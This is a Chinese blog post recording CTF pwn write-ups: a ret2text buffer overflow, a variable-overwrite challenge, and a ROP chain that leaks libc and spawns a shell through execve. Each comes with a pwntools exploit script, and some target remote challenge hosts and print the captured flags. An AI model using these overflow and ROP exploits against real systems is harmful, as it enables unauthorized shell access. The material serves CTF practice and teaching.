小胖手

    科技2022-07-21  147

    小PWN手的间歇性记录

    1.ret2textExp 2.hello_pwnExp 3.[第六章 CTF之PWN章]ROP原理EXP 强制解锁命令: sudo rm /var/lib/dpkg/lock-frontend

    1.ret2text

    首先checksec一下

    32位

    只开启了栈可执行保护

    ida打开

    查找/bin/sh

    binsh = 0x804863A

    距离ebp的距离需要利用Ubuntu中gdb工具

    gdb ./ret2text

    因为存储读入的变量和到栈底的距离未知所以断点下在_gets

    b *0x80486AE

    别忘了再按r,报错不用管

    借助变量s到esp的距离计算出s的地址

    再计算变量s到esp的距离

    用Python:

    ebp = 0xffffcfd8 esp = 0xffffcf50 print hex(esp + 0x1c - ebp)

    得到运算结果-0x6cL

    所以需要填充0x6c个字符

    至此,已经得到填充缓冲区的字符数为0x6c

    system返回的/bin/sh程序地址为0x804863A

    于是构造payload

    Exp

    from pwn import* io = remote('xxxxxx.xx',28365) binsh = 0x804863A io.sendline('a'*(0x6c+4)+p32(binsh)) io.interactive()

    python ret2text.py

    cat flag

    flag{5e22ee8d-07f0-4089-94c2-d5e14c84f331}


    2.hello_pwn

    来源nuaactf 首先拖到Ubuntu checksec一下 64位,只开启了栈可执行保护 64ida打开

    ida 图标是Ada Lovelace 哄哄哄

    几个函数点进去可以看到 基本上就是输入1853186401到dword_60106c 那么执行sub_400686于是cat flag.txt 我们有输入权限的unk_601068,我们输入c-8=4位就可以覆盖到dword_60106c 于是构造payload

    Exp

    from pwn import* ma = remote("220.249.52.133",52432) payload = 'a'*4 + p64(1853186401) ma.sendline(payload) ma.interactive()

    python hello.py

    cyberpeace{ec8ff6fef0bd58198cf3e64228e62cb4} 动态滴~

    哦哦 !看到一种简单的输入方式 1853186401按r->nuaa 4位溢出(注意小端序) 所以 echo aaaaaaun | nc 220.249.52.133 52432 Finished


    3.[第六章 CTF之PWN章]ROP

    《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l

    64位,栈可执行保护

    原理

    随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果 绕过保护,目前主要的是 ROP(Return Oriented Programming 返回导向编程)

    其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

    所谓 gadgets 就是以 ret 结尾的指令序列

    通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程

    之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。

    ROP 攻击一般得满足如下条件

    程序存在溢出,并且可以控制返回地址。可以找到满足条件的 gadgets 以及相应 gadgets 的地址。如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了

    EXP

    #书上对应章节例题,具体解释可以看书上对应章节的内容 from pwn import * p=process('./rop') elf=ELF('./rop') libc = elf.libc pop_rdi = 0x4005d3 puts_got = 0x601018 puts = 0x400430 main = 0x400537 rop1 = "a"*18 rop1 += p64(pop_rdi) rop1 += p64(puts_got) rop1 += p64(puts) rop1 += p64(main) p.sendline(rop1) p.recvuntil('\n') addr = u64(p.recv(6).ljust(8,'\x00')) libc_base = addr - libc.symbols['puts'] info("libc:0x%x",libc_base) pop_rax = 0x00000000000439c8 + libc_base pop_rdi = 0x000000000002155f + libc_base pop_rsi = 0x0000000000023e6a + libc_base pop_rdx = 0x0000000000001b96 + libc_base syscall = 0x00000000000d2975 + libc_base binsh = next(libc.search("/bin/sh"),) + libc_base rop2 = "a"*18 rop2 += p64(pop_rax) rop2 += p64(59) rop2 += p64(pop_rdi) rop2 += p64(binsh) rop2 += p64(pop_rsi) rop2 += p64(0) rop2 += p64(pop_rdx) rop2 += p64(0) rop2 += p64(syscall) p.recvuntil("hello\n") p.sendline(rop2) p.interactive()
    Processed: 0.015, SQL: 8